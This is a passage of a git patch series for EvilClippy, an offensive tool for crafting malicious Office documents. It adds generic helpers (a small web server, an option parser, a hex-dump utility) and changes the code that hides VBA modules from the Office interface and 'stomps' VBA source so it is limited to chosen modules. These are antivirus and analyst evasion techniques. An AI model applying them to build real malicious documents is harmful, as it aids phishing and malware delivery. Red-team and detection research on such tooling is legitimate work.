(prefixes == null || prefixes.Length == 0) + throw new ArgumentException("prefixes"); + + // A responder method is required + if (method == null) + throw new ArgumentException("method"); + + foreach (string s in prefixes) + _listener.Prefixes.Add(s); + + _responderMethod = method; + _listener.Start(); + } + + public void Run() + { + ThreadPool.QueueUserWorkItem((o) => + { + Console.WriteLine("Webserver running..."); + try + { + while (_listener.IsListening) + { + ThreadPool.QueueUserWorkItem((c) => + { + var ctx = c as HttpListenerContext; + try + { + byte[] buf = _responderMethod(ctx.Request); + ctx.Response.ContentLength64 = buf.Length; + ctx.Response.OutputStream.Write(buf, 0, buf.Length); + } + catch { } // suppress any exceptions + finally + { + // always close the stream + ctx.Response.OutputStream.Close(); + } + }, _listener.GetContext()); + } + } + catch { } // suppress any exceptions + }); + } + + public void Stop() + { + _listener.Stop(); + _listener.Close(); + } +} diff --git a/options.cs b/options.cs new file mode 100644 index 0000000..1f7dba0 --- /dev/null +++ b/options.cs @@ -0,0 +1,1175 @@ +// +// Options.cs +// +// Authors: +// Jonathan Pryor +// +// Copyright (C) 2008 Novell (http://www.novell.com) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +// + +// Compile With: +// gmcs -debug+ -r:System.Core Options.cs -o:NDesk.Options.dll +// gmcs -debug+ -d:LINQ -r:System.Core Options.cs -o:NDesk.Options.dll +// +// The LINQ version just changes the implementation of +// OptionSet.Parse(IEnumerable), and confers no semantic changes. + +// +// A Getopt::Long-inspired option parsing library for C#. +// +// NDesk.Options.OptionSet is built upon a key/value table, where the +// key is a option format string and the value is a delegate that is +// invoked when the format string is matched. +// +// Option format strings: +// Regex-like BNF Grammar: +// name: .+ +// type: [=:] +// sep: ( [^{}]+ | '{' .+ '}' )? +// aliases: ( name type sep ) ( '|' name type sep )* +// +// Each '|'-delimited name is an alias for the associated action. If the +// format string ends in a '=', it has a required value. If the format +// string ends in a ':', it has an optional value. If neither '=' or ':' +// is present, no value is supported. `=' or `:' need only be defined on one +// alias, but if they are provided on more than one they must be consistent. +// +// Each alias portion may also end with a "key/value separator", which is used +// to split option values if the option accepts > 1 value. If not specified, +// it defaults to '=' and ':'. If specified, it can be any character except +// '{' and '}' OR the *string* between '{' and '}'. If no separator should be +// used (i.e. the separate values should be distinct arguments), then "{}" +// should be used as the separator. +// +// Options are extracted either from the current option by looking for +// the option name followed by an '=' or ':', or is taken from the +// following option IFF: +// - The current option does not contain a '=' or a ':' +// - The current option requires a value (i.e. not a Option type of ':') +// +// The `name' used in the option format string does NOT include any leading +// option indicator, such as '-', '--', or '/'. All three of these are +// permitted/required on any named option. +// +// Option bundling is permitted so long as: +// - '-' is used to start the option group +// - all of the bundled options are a single character +// - at most one of the bundled options accepts a value, and the value +// provided starts from the next character to the end of the string. +// +// This allows specifying '-a -b -c' as '-abc', and specifying '-D name=value' +// as '-Dname=value'. +// +// Option processing is disabled by specifying "--". All options after "--" +// are returned by OptionSet.Parse() unchanged and unprocessed. +// +// Unprocessed options are returned from OptionSet.Parse(). +// +// Examples: +// int verbose = 0; +// OptionSet p = new OptionSet () +// .Add ("v", v => ++verbose) +// .Add ("name=|value=", v => Console.WriteLine (v)); +// p.Parse (new string[]{"-v", "--v", "/v", "-name=A", "/name", "B", "extra"}); +// +// The above would parse the argument string array, and would invoke the +// lambda expression three times, setting `verbose' to 3 when complete. +// It would also print out "A" and "B" to standard output. +// The returned array would contain the string "extra". +// +// C# 3.0 collection initializers are supported and encouraged: +// var p = new OptionSet () { +// { "h|?|help", v => ShowHelp () }, +// }; +// +// System.ComponentModel.TypeConverter is also supported, allowing the use of +// custom data types in the callback type; TypeConverter.ConvertFromString() +// is used to convert the value option to an instance of the specified +// type: +// +// var p = new OptionSet () { +// { "foo=", (Foo f) => Console.WriteLine (f.ToString ()) }, +// }; +// +// Random other tidbits: +// - Boolean options (those w/o '=' or ':' in the option format string) +// are explicitly enabled if they are followed with '+', and explicitly +// disabled if they are followed with '-': +// string a = null; +// var p = new OptionSet () { +// { "a", s => a = s }, +// }; +// p.Parse (new string[]{"-a"}); // sets v != null +// p.Parse (new string[]{"-a+"}); // sets v != null +// p.Parse (new string[]{"-a-"}); // sets v == null +// + +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.ComponentModel; +using System.Globalization; +using System.IO; +using System.Runtime.Serialization; +using System.Security.Permissions; +using System.Text; +using System.Text.RegularExpressions; + +#if LINQ +using System.Linq; +#endif + +#if TEST +using NDesk.Options; +#endif + +namespace NDesk.Options +{ + + public class OptionValueCollection : IList, IList + { + + List values = new List(); + OptionContext c; + + internal OptionValueCollection(OptionContext c) + { + this.c = c; + } + + #region ICollection + void ICollection.CopyTo(Array array, int index) { (values as ICollection).CopyTo(array, index); } + bool ICollection.IsSynchronized { get { return (values as ICollection).IsSynchronized; } } + object ICollection.SyncRoot { get { return (values as ICollection).SyncRoot; } } + #endregion + + #region ICollection + public void Add(string item) { values.Add(item); } + public void Clear() { values.Clear(); } + public bool Contains(string item) { return values.Contains(item); } + public void CopyTo(string[] array, int arrayIndex) { values.CopyTo(array, arrayIndex); } + public bool Remove(string item) { return values.Remove(item); } + public int Count { get { return values.Count; } } + public bool IsReadOnly { get { return false; } } + #endregion + + #region IEnumerable + IEnumerator IEnumerable.GetEnumerator() { return values.GetEnumerator(); } + #endregion + + #region IEnumerable + public IEnumerator GetEnumerator() { return values.GetEnumerator(); } + #endregion + + #region IList + int IList.Add(object value) { return (values as IList).Add(value); } + bool IList.Contains(object value) { return (values as IList).Contains(value); } + int IList.IndexOf(object value) { return (values as IList).IndexOf(value); } + void IList.Insert(int index, object value) { (values as IList).Insert(index, value); } + void IList.Remove(object value) { (values as IList).Remove(value); } + void IList.RemoveAt(int index) { (values as IList).RemoveAt(index); } + bool IList.IsFixedSize { get { return false; } } + object IList.this[int index] { get { return this[index]; } set { (values as IList)[index] = value; } } + #endregion + + #region IList + public int IndexOf(string item) { return values.IndexOf(item); } + public void Insert(int index, string item) { values.Insert(index, item); } + public void RemoveAt(int index) { values.RemoveAt(index); } + + private void AssertValid(int index) + { + if (c.Option == null) + throw new InvalidOperationException("OptionContext.Option is null."); + if (index >= c.Option.MaxValueCount) + throw new ArgumentOutOfRangeException("index"); + if (c.Option.OptionValueType == OptionValueType.Required && + index >= values.Count) + throw new OptionException(string.Format( + c.OptionSet.MessageLocalizer("Missing required value for option '{0}'."), c.OptionName), + c.OptionName); + } + + public string this[int index] + { + get + { + AssertValid(index); + return index >= values.Count ? null : values[index]; + } + set + { + values[index] = value; + } + } + #endregion + + public List ToList() + { + return new List(values); + } + + public string[] ToArray() + { + return values.ToArray(); + } + + public override string ToString() + { + return string.Join(", ", values.ToArray()); + } + } + + public class OptionContext + { + private Option option; + private string name; + private int index; + private OptionSet set; + private OptionValueCollection c; + + public OptionContext(OptionSet set) + { + this.set = set; + this.c = new OptionValueCollection(this); + } + + public Option Option + { + get { return option; } + set { option = value; } + } + + public string OptionName + { + get { return name; } + set { name = value; } + } + + public int OptionIndex + { + get { return index; } + set { index = value; } + } + + public OptionSet OptionSet + { + get { return set; } + } + + public OptionValueCollection OptionValues + { + get { return c; } + } + } + + public enum OptionValueType + { + None, + Optional, + Required, + } + + public abstract class Option + { + string prototype, description; + string[] names; + OptionValueType type; + int count; + string[] separators; + + protected Option(string prototype, string description) + : this(prototype, description, 1) + { + } + + protected Option(string prototype, string description, int maxValueCount) + { + if (prototype == null) + throw new ArgumentNullException("prototype"); + if (prototype.Length == 0) + throw new ArgumentException("Cannot be the empty string.", "prototype"); + if (maxValueCount < 0) + throw new ArgumentOutOfRangeException("maxValueCount"); + + this.prototype = prototype; + this.names = prototype.Split('|'); + this.description = description; + this.count = maxValueCount; + this.type = ParsePrototype(); + + if (this.count == 0 && type != OptionValueType.None) + throw new ArgumentException( + "Cannot provide maxValueCount of 0 for OptionValueType.Required or " + + "OptionValueType.Optional.", + "maxValueCount"); + if (this.type == OptionValueType.None && maxValueCount > 1) + throw new ArgumentException( + string.Format("Cannot provide maxValueCount of {0} for OptionValueType.None.", maxValueCount), + "maxValueCount"); + if (Array.IndexOf(names, "<>") >= 0 && + ((names.Length == 1 && this.type != OptionValueType.None) || + (names.Length > 1 && this.MaxValueCount > 1))) + throw new ArgumentException( + "The default option handler '<>' cannot require values.", + "prototype"); + } + + public string Prototype { get { return prototype; } } + public string Description { get { return description; } } + public OptionValueType OptionValueType { get { return type; } } + public int MaxValueCount { get { return count; } } + + public string[] GetNames() + { + return (string[])names.Clone(); + } + + public string[] GetValueSeparators() + { + if (separators == null) + return new string[0]; + return (string[])separators.Clone(); + } + + protected static T Parse(string value, OptionContext c) + { + TypeConverter conv = TypeDescriptor.GetConverter(typeof(T)); + T t = default(T); + try + { + if (value != null) + t = (T)conv.ConvertFromString(value); + } + catch (Exception e) + { + throw new OptionException( + string.Format( + c.OptionSet.MessageLocalizer("Could not convert string `{0}' to type {1} for option `{2}'."), + value, typeof(T).Name, c.OptionName), + c.OptionName, e); + } + return t; + } + + internal string[] Names { get { return names; } } + internal string[] ValueSeparators { get { return separators; } } + + static readonly char[] NameTerminator = new char[] { '=', ':' }; + + private OptionValueType ParsePrototype() + { + char type = '\0'; + List seps = new List(); + for (int i = 0; i < names.Length; ++i) + { + string name = names[i]; + if (name.Length == 0) + throw new ArgumentException("Empty option names are not supported.", "prototype"); + + int end = name.IndexOfAny(NameTerminator); + if (end == -1) + continue; + names[i] = name.Substring(0, end); + if (type == '\0' || type == name[end]) + type = name[end]; + else + throw new ArgumentException( + string.Format("Conflicting option types: '{0}' vs. '{1}'.", type, name[end]), + "prototype"); + AddSeparators(name, end, seps); + } + + if (type == '\0') + return OptionValueType.None; + + if (count <= 1 && seps.Count != 0) + throw new ArgumentException( + string.Format("Cannot provide key/value separators for Options taking {0} value(s).", count), + "prototype"); + if (count > 1) + { + if (seps.Count == 0) + this.separators = new string[] { ":", "=" }; + else if (seps.Count == 1 && seps[0].Length == 0) + this.separators = null; + else + this.separators = seps.ToArray(); + } + + return type == '=' ? OptionValueType.Required : OptionValueType.Optional; + } + + private static void AddSeparators(string name, int end, ICollection seps) + { + int start = -1; + for (int i = end + 1; i < name.Length; ++i) + { + switch (name[i]) + { + case '{': + if (start != -1) + throw new ArgumentException( + string.Format("Ill-formed name/value separator found in \"{0}\".", name), + "prototype"); + start = i + 1; + break; + case '}': + if (start == -1) + throw new ArgumentException( + string.Format("Ill-formed name/value separator found in \"{0}\".", name), + "prototype"); + seps.Add(name.Substring(start, i - start)); + start = -1; + break; + default: + if (start == -1) + seps.Add(name[i].ToString()); + break; + } + } + if (start != -1) + throw new ArgumentException( + string.Format("Ill-formed name/value separator found in \"{0}\".", name), + "prototype"); + } + + public void Invoke(OptionContext c) + { + OnParseComplete(c); + c.OptionName = null; + c.Option = null; + c.OptionValues.Clear(); + } + + protected abstract void OnParseComplete(OptionContext c); + + public override string ToString() + { + return Prototype; + } + } + + [Serializable] + public class OptionException : Exception + { + private string option; + + public OptionException() + { + } + + public OptionException(string message, string optionName) + : base(message) + { + this.option = optionName; + } + + public OptionException(string message, string optionName, Exception innerException) + : base(message, innerException) + { + this.option = optionName; + } + + protected OptionException(SerializationInfo info, StreamingContext context) + : base(info, context) + { + this.option = info.GetString("OptionName"); + } + + public string OptionName + { + get { return this.option; } + } + + [SecurityPermission(SecurityAction.LinkDemand, SerializationFormatter = true)] + public override void GetObjectData(SerializationInfo info, StreamingContext context) + { + base.GetObjectData(info, context); + info.AddValue("OptionName", option); + } + } + + public delegate void OptionAction(TKey key, TValue value); + + public class OptionSet : KeyedCollection + { + public OptionSet() + : this(delegate (string f) { return f; }) + { + } + + public OptionSet(Converter localizer) + { + this.localizer = localizer; + } + + Converter localizer; + + public Converter MessageLocalizer + { + get { return localizer; } + } + + protected override string GetKeyForItem(Option item) + { + if (item == null) + throw new ArgumentNullException("option"); + if (item.Names != null && item.Names.Length > 0) + return item.Names[0]; + // This should never happen, as it's invalid for Option to be + // constructed w/o any names. + throw new InvalidOperationException("Option has no names!"); + } + + [Obsolete("Use KeyedCollection.this[string]")] + protected Option GetOptionForName(string option) + { + if (option == null) + throw new ArgumentNullException("option"); + try + { + return base[option]; + } + catch (KeyNotFoundException) + { + return null; + } + } + + protected override void InsertItem(int index, Option item) + { + base.InsertItem(index, item); + AddImpl(item); + } + + protected override void RemoveItem(int index) + { + base.RemoveItem(index); + Option p = Items[index]; + // KeyedCollection.RemoveItem() handles the 0th item + for (int i = 1; i < p.Names.Length; ++i) + { + Dictionary.Remove(p.Names[i]); + } + } + + protected override void SetItem(int index, Option item) + { + base.SetItem(index, item); + RemoveItem(index); + AddImpl(item); + } + + private void AddImpl(Option option) + { + if (option == null) + throw new ArgumentNullException("option"); + List added = new List(option.Names.Length); + try + { + // KeyedCollection.InsertItem/SetItem handle the 0th name. + for (int i = 1; i < option.Names.Length; ++i) + { + Dictionary.Add(option.Names[i], option); + added.Add(option.Names[i]); + } + } + catch (Exception) + { + foreach (string name in added) + Dictionary.Remove(name); + throw; + } + } + + public new OptionSet Add(Option option) + { + base.Add(option); + return this; + } + + sealed class ActionOption : Option + { + Action action; + + public ActionOption(string prototype, string description, int count, Action action) + : base(prototype, description, count) + { + if (action == null) + throw new ArgumentNullException("action"); + this.action = action; + } + + protected override void OnParseComplete(OptionContext c) + { + action(c.OptionValues); + } + } + + public OptionSet Add(string prototype, Action action) + { + return Add(prototype, null, action); + } + + public OptionSet Add(string prototype, string description, Action action) + { + if (action == null) + throw new ArgumentNullException("action"); + Option p = new ActionOption(prototype, description, 1, + delegate (OptionValueCollection v) { action(v[0]); }); + base.Add(p); + return this; + } + + public OptionSet Add(string prototype, OptionAction action) + { + return Add(prototype, null, action); + } + + public OptionSet Add(string prototype, string description, OptionAction action) + { + if (action == null) + throw new ArgumentNullException("action"); + Option p = new ActionOption(prototype, description, 2, + delegate (OptionValueCollection v) { action(v[0], v[1]); }); + base.Add(p); + return this; + } + + sealed class ActionOption : Option + { + Action action; + + public ActionOption(string prototype, string description, Action action) + : base(prototype, description, 1) + { + if (action == null) + throw new ArgumentNullException("action"); + this.action = action; + } + + protected override void OnParseComplete(OptionContext c) + { + action(Parse(c.OptionValues[0], c)); + } + } + + sealed class ActionOption : Option + { + OptionAction action; + + public ActionOption(string prototype, string description, OptionAction action) + : base(prototype, description, 2) + { + if (action == null) + throw new ArgumentNullException("action"); + this.action = action; + } + + protected override void OnParseComplete(OptionContext c) + { + action( + Parse(c.OptionValues[0], c), + Parse(c.OptionValues[1], c)); + } + } + + public OptionSet Add(string prototype, Action action) + { + return Add(prototype, null, action); + } + + public OptionSet Add(string prototype, string description, Action action) + { + return Add(new ActionOption(prototype, description, action)); + } + + public OptionSet Add(string prototype, OptionAction action) + { + return Add(prototype, null, action); + } + + public OptionSet Add(string prototype, string description, OptionAction action) + { + return Add(new ActionOption(prototype, description, action)); + } + + protected virtual OptionContext CreateOptionContext() + { + return new OptionContext(this); + } + +#if LINQ + public List Parse (IEnumerable arguments) + { + bool process = true; + OptionContext c = CreateOptionContext (); + c.OptionIndex = -1; + var def = GetOptionForName ("<>"); + var unprocessed = + from argument in arguments + where ++c.OptionIndex >= 0 && (process || def != null) + ? process + ? argument == "--" + ? (process = false) + : !Parse (argument, c) + ? def != null + ? Unprocessed (null, def, c, argument) + : true + : false + : def != null + ? Unprocessed (null, def, c, argument) + : true + : true + select argument; + List r = unprocessed.ToList (); + if (c.Option != null) + c.Option.Invoke (c); + return r; + } +#else + public List Parse(IEnumerable arguments) + { + OptionContext c = CreateOptionContext(); + c.OptionIndex = -1; + bool process = true; + List unprocessed = new List(); + Option def = Contains("<>") ? this["<>"] : null; + foreach (string argument in arguments) + { + ++c.OptionIndex; + if (argument == "--") + { + process = false; + continue; + } + if (!process) + { + Unprocessed(unprocessed, def, c, argument); + continue; + } + if (!Parse(argument, c)) + Unprocessed(unprocessed, def, c, argument); + } + if (c.Option != null) + c.Option.Invoke(c); + return unprocessed; + } +#endif + + private static bool Unprocessed(ICollection extra, Option def, OptionContext c, string argument) + { + if (def == null) + { + extra.Add(argument); + return false; + } + c.OptionValues.Add(argument); + c.Option = def; + c.Option.Invoke(c); + return false; + } + + private readonly Regex ValueOption = new Regex( + @"^(?--|-|/)(?[^:=]+)((?[:=])(?.*))?$"); + + protected bool GetOptionParts(string argument, out string flag, out string name, out string sep, out string value) + { + if (argument == null) + throw new ArgumentNullException("argument"); + + flag = name = sep = value = null; + Match m = ValueOption.Match(argument); + if (!m.Success) + { + return false; + } + flag = m.Groups["flag"].Value; + name = m.Groups["name"].Value; + if (m.Groups["sep"].Success && m.Groups["value"].Success) + { + sep = m.Groups["sep"].Value; + value = m.Groups["value"].Value; + } + return true; + } + + protected virtual bool Parse(string argument, OptionContext c) + { + if (c.Option != null) + { + ParseValue(argument, c); + return true; + } + + string f, n, s, v; + if (!GetOptionParts(argument, out f, out n, out s, out v)) + return false; + + Option p; + if (Contains(n)) + { + p = this[n]; + c.OptionName = f + n; + c.Option = p; + switch (p.OptionValueType) + { + case OptionValueType.None: + c.OptionValues.Add(n); + c.Option.Invoke(c); + break; + case OptionValueType.Optional: + case OptionValueType.Required: + ParseValue(v, c); + break; + } + return true; + } + // no match; is it a bool option? + if (ParseBool(argument, n, c)) + return true; + // is it a bundled option? + if (ParseBundledValue(f, string.Concat(n + s + v), c)) + return true; + + return false; + } + + private void ParseValue(string option, OptionContext c) + { + if (option != null) + foreach (string o in c.Option.ValueSeparators != null + ? option.Split(c.Option.ValueSeparators, StringSplitOptions.None) + : new string[] { option }) + { + c.OptionValues.Add(o); + } + if (c.OptionValues.Count == c.Option.MaxValueCount || + c.Option.OptionValueType == OptionValueType.Optional) + c.Option.Invoke(c); + else if (c.OptionValues.Count > c.Option.MaxValueCount) + { + throw new OptionException(localizer(string.Format( + "Error: Found {0} option values when expecting {1}.", + c.OptionValues.Count, c.Option.MaxValueCount)), + c.OptionName); + } + } + + private bool ParseBool(string option, string n, OptionContext c) + { + Option p; + string rn; + if (n.Length >= 1 && (n[n.Length - 1] == '+' || n[n.Length - 1] == '-') && + Contains((rn = n.Substring(0, n.Length - 1)))) + { + p = this[rn]; + string v = n[n.Length - 1] == '+' ? option : null; + c.OptionName = option; + c.Option = p; + c.OptionValues.Add(v); + p.Invoke(c); + return true; + } + return false; + } + + private bool ParseBundledValue(string f, string n, OptionContext c) + { + if (f != "-") + return false; + for (int i = 0; i < n.Length; ++i) + { + Option p; + string opt = f + n[i].ToString(); + string rn = n[i].ToString(); + if (!Contains(rn)) + { + if (i == 0) + return false; + throw new OptionException(string.Format(localizer( + "Cannot bundle unregistered option '{0}'."), opt), opt); + } + p = this[rn]; + switch (p.OptionValueType) + { + case OptionValueType.None: + Invoke(c, opt, n, p); + break; + case OptionValueType.Optional: + case OptionValueType.Required: + { + string v = n.Substring(i + 1); + c.Option = p; + c.OptionName = opt; + ParseValue(v.Length != 0 ? v : null, c); + return true; + } + default: + throw new InvalidOperationException("Unknown OptionValueType: " + p.OptionValueType); + } + } + return true; + } + + private static void Invoke(OptionContext c, string name, string value, Option option) + { + c.OptionName = name; + c.Option = option; + c.OptionValues.Add(value); + option.Invoke(c); + } + + private const int OptionWidth = 29; + + public void WriteOptionDescriptions(TextWriter o) + { + foreach (Option p in this) + { + int written = 0; + if (!WriteOptionPrototype(o, p, ref written)) + continue; + + if (written < OptionWidth) + o.Write(new string(' ', OptionWidth - written)); + else + { + o.WriteLine(); + o.Write(new string(' ', OptionWidth)); + } + + List lines = GetLines(localizer(GetDescription(p.Description))); + o.WriteLine(lines[0]); + string prefix = new string(' ', OptionWidth + 2); + for (int i = 1; i < lines.Count; ++i) + { + o.Write(prefix); + o.WriteLine(lines[i]); + } + } + } + + bool WriteOptionPrototype(TextWriter o, Option p, ref int written) + { + string[] names = p.Names; + + int i = GetNextOptionIndex(names, 0); + if (i == names.Length) + return false; + + if (names[i].Length == 1) + { + Write(o, ref written, " -"); + Write(o, ref written, names[0]); + } + else + { + Write(o, ref written, " --"); + Write(o, ref written, names[0]); + } + + for (i = GetNextOptionIndex(names, i + 1); + i < names.Length; i = GetNextOptionIndex(names, i + 1)) + { + Write(o, ref written, ", "); + Write(o, ref written, names[i].Length == 1 ? "-" : "--"); + Write(o, ref written, names[i]); + } + + if (p.OptionValueType == OptionValueType.Optional || + p.OptionValueType == OptionValueType.Required) + { + if (p.OptionValueType == OptionValueType.Optional) + { + Write(o, ref written, localizer("[")); + } + Write(o, ref written, localizer("=" + GetArgumentName(0, p.MaxValueCount, p.Description))); + string sep = p.ValueSeparators != null && p.ValueSeparators.Length > 0 + ? p.ValueSeparators[0] + : " "; + for (int c = 1; c < p.MaxValueCount; ++c) + { + Write(o, ref written, localizer(sep + GetArgumentName(c, p.MaxValueCount, p.Description))); + } + if (p.OptionValueType == OptionValueType.Optional) + { + Write(o, ref written, localizer("]")); + } + } + return true; + } + + static int GetNextOptionIndex(string[] names, int i) + { + while (i < names.Length && names[i] == "<>") + { + ++i; + } + return i; + } + + static void Write(TextWriter o, ref int n, string s) + { + n += s.Length; + o.Write(s); + } + + private static string GetArgumentName(int index, int maxIndex, string description) + { + if (description == null) + return maxIndex == 1 ? "VALUE" : "VALUE" + (index + 1); + string[] nameStart; + if (maxIndex == 1) + nameStart = new string[] { "{0:", "{" }; + else + nameStart = new string[] { "{" + index + ":" }; + for (int i = 0; i < nameStart.Length; ++i) + { + int start, j = 0; + do + { + start = description.IndexOf(nameStart[i], j); + } while (start >= 0 && j != 0 ? description[j++ - 1] == '{' : false); + if (start == -1) + continue; + int end = description.IndexOf("}", start); + if (end == -1) + continue; + return description.Substring(start + nameStart[i].Length, end - start - nameStart[i].Length); + } + return maxIndex == 1 ? "VALUE" : "VALUE" + (index + 1); + } + + private static string GetDescription(string description) + { + if (description == null) + return string.Empty; + StringBuilder sb = new StringBuilder(description.Length); + int start = -1; + for (int i = 0; i < description.Length; ++i) + { + switch (description[i]) + { + case '{': + if (i == start) + { + sb.Append('{'); + start = -1; + } + else if (start < 0) + start = i + 1; + break; + case '}': + if (start < 0) + { + if ((i + 1) == description.Length || description[i + 1] != '}') + throw new InvalidOperationException("Invalid option description: " + description); + ++i; + sb.Append("}"); + } + else + { + sb.Append(description.Substring(start, i - start)); + start = -1; + } + break; + case ':': + if (start < 0) + goto default; + start = i + 1; + break; + default: + if (start < 0) + sb.Append(description[i]); + break; + } + } + return sb.ToString(); + } + + private static List GetLines(string description) + { + List lines = new List(); + if (string.IsNullOrEmpty(description)) + { + lines.Add(string.Empty); + return lines; + } + int length = 80 - OptionWidth - 2; + int start = 0, end; + do + { + end = GetLineEnd(start, length, description); + bool cont = false; + if (end < description.Length) + { + char c = description[end]; + if (c == '-' || (char.IsWhiteSpace(c) && c != '\n')) + ++end; + else if (c != '\n') + { + cont = true; + --end; + } + } + lines.Add(description.Substring(start, end - start)); + if (cont) + { + lines[lines.Count - 1] += "-"; + } + start = end; + if (start < description.Length && description[start] == '\n') + ++start; + } while (end < description.Length); + return lines; + } + + private static int GetLineEnd(int start, int length, string description) + { + int end = Math.Min(start + length, description.Length); + int sep = -1; + for (int i = start; i < end; ++i) + { + switch (description[i]) + { + case ' ': + case '\t': + case '\v': + case '-': + case ',': + case '.': + case ';': + sep = i; + break; + case '\n': + return i; + } + } + if (sep == -1 || end == description.Length) + return end; + return sep; + } + } +} + diff --git a/packages.config b/packages.config new file mode 100644 index 0000000..44aa00e --- /dev/null +++ b/packages.config @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/utils.cs b/utils.cs new file mode 100644 index 0000000..dbcf974 --- /dev/null +++ b/utils.cs @@ -0,0 +1,76 @@ +using System; +using System.Text; +using System.Linq; + +class Utils +{ + // Copied from https://www.codeproject.com/Articles/36747/%2FArticles%2F36747%2FQuick-and-Dirty-HexDump-of-a-Byte-Array + public static string HexDump(byte[] bytes, int bytesPerLine = 16) + { + if (bytes == null) return ""; + int bytesLength = bytes.Length; + + char[] HexChars = "0123456789ABCDEF".ToCharArray(); + + int firstHexColumn = + 8 // 8 characters for the address + + 3; // 3 spaces + + int firstCharColumn = firstHexColumn + + bytesPerLine * 3 // - 2 digit for the hexadecimal value and 1 space + + (bytesPerLine - 1) / 8 // - 1 extra space every 8 characters from the 9th + + 2; // 2 spaces + + int lineLength = firstCharColumn + + bytesPerLine // - characters to show the ascii value + + Environment.NewLine.Length; // Carriage return and line feed (should normally be 2) + + char[] line = (new String(' ', lineLength - Environment.NewLine.Length) + Environment.NewLine).ToCharArray(); + int expectedLines = (bytesLength + bytesPerLine - 1) / bytesPerLine; + StringBuilder result = new StringBuilder(expectedLines * lineLength); + + for (int i = 0; i < bytesLength; i += bytesPerLine) + { + line[0] = HexChars[(i >> 28) & 0xF]; + line[1] = HexChars[(i >> 24) & 0xF]; + line[2] = HexChars[(i >> 20) & 0xF]; + line[3] = HexChars[(i >> 16) & 0xF]; + line[4] = HexChars[(i >> 12) & 0xF]; + line[5] = HexChars[(i >> 8) & 0xF]; + line[6] = HexChars[(i >> 4) & 0xF]; + line[7] = HexChars[(i >> 0) & 0xF]; + + int hexColumn = firstHexColumn; + int charColumn = firstCharColumn; + + for (int j = 0; j < bytesPerLine; j++) + { + if (j > 0 && (j & 7) == 0) hexColumn++; + if (i + j >= bytesLength) + { + line[hexColumn] = ' '; + line[hexColumn + 1] = ' '; + line[charColumn] = ' '; + } + else + { + byte b = bytes[i + j]; + line[hexColumn] = HexChars[(b >> 4) & 0xF]; + line[hexColumn + 1] = HexChars[b & 0xF]; + line[charColumn] = (b < 32 ? '·' : (char)b); + } + hexColumn += 3; + charColumn++; + } + result.Append(line); + } + return result.ToString(); + } + + public static string RandomString(int length) + { + var random = new Random(); + const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; + return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray()); + } +} \ No newline at end of file From 361f16eb521d87d97e4fa2b696ae5f867f1c1d20 Mon Sep 17 00:00:00 2001 From: "Mariusz B. / mgeeky" Date: Fri, 20 May 2022 00:32:20 +0200 Subject: [PATCH 2/2] fix --- evilclippy.cs | 34 ++++++++++++++++++++++++++++------ 1 file changed, 28 insertions(+), 6 deletions(-) diff --git a/evilclippy.cs b/evilclippy.cs index 7d90615..8f911c1 100644 --- a/evilclippy.cs +++ b/evilclippy.cs @@ -381,10 +381,21 @@ static public void Main(string[] args) { foreach (var vbaModule in vbaModules) { - if ((vbaModule.moduleName != "ThisDocument") && (vbaModule.moduleName != "ThisWorkbook")) + if (targetModules.Count > 0) { - Console.WriteLine("Hiding module: " + vbaModule.moduleName); - projectStreamString = projectStreamString.Replace("Module=" + vbaModule.moduleName, ""); + if (targetModules.Contains(vbaModule.moduleName) || !targetModules.Any()) + { + Console.WriteLine("Hiding module: " + vbaModule.moduleName); + projectStreamString = projectStreamString.Replace("Module=" + vbaModule.moduleName, ""); + } + } + else + { + if ((vbaModule.moduleName != "ThisDocument") && (vbaModule.moduleName != "ThisWorkbook")) + { + Console.WriteLine("Hiding module: " + vbaModule.moduleName); + projectStreamString = projectStreamString.Replace("Module=" + vbaModule.moduleName, ""); + } } } @@ -410,8 +421,19 @@ static public void Main(string[] args) foreach (var vbaModuleName in vbaModulesNamesFromProjectwm) { - Console.WriteLine("Unhiding module: " + vbaModuleName); - moduleString = moduleString.Insert(moduleString.Length, "Module=" + vbaModuleName + "\r\n"); + if (targetModules.Count > 0) + { + if (targetModules.Contains(vbaModuleName) || !targetModules.Any()) + { + Console.WriteLine("Unhiding module: " + vbaModuleName); + moduleString = moduleString.Insert(moduleString.Length, "Module=" + vbaModuleName + "\r\n"); + } + } + else + { + Console.WriteLine("Unhiding module: " + vbaModuleName); + moduleString = moduleString.Insert(moduleString.Length, "Module=" + vbaModuleName + "\r\n"); + } } projectStreamString = projectStreamString.Replace(m.Groups[0].Value, m.Groups[1].Value + moduleString + m.Groups[3].Value); @@ -436,7 +458,7 @@ static public void Main(string[] args) DebugLog("VBA module name: " + vbaModule.moduleName + "\nOffset for code: " + vbaModule.textOffset); // If this module is a target module, or if no targets are specified, then stomp - if (targetModules.Contains(vbaModule.moduleName) || !targetModules.Any()) + if ((targetModules.Count > 0 && targetModules.Contains(vbaModule.moduleName) ) || !targetModules.Any()) { Console.WriteLine("Now stomping VBA code in module: " + vbaModule.moduleName);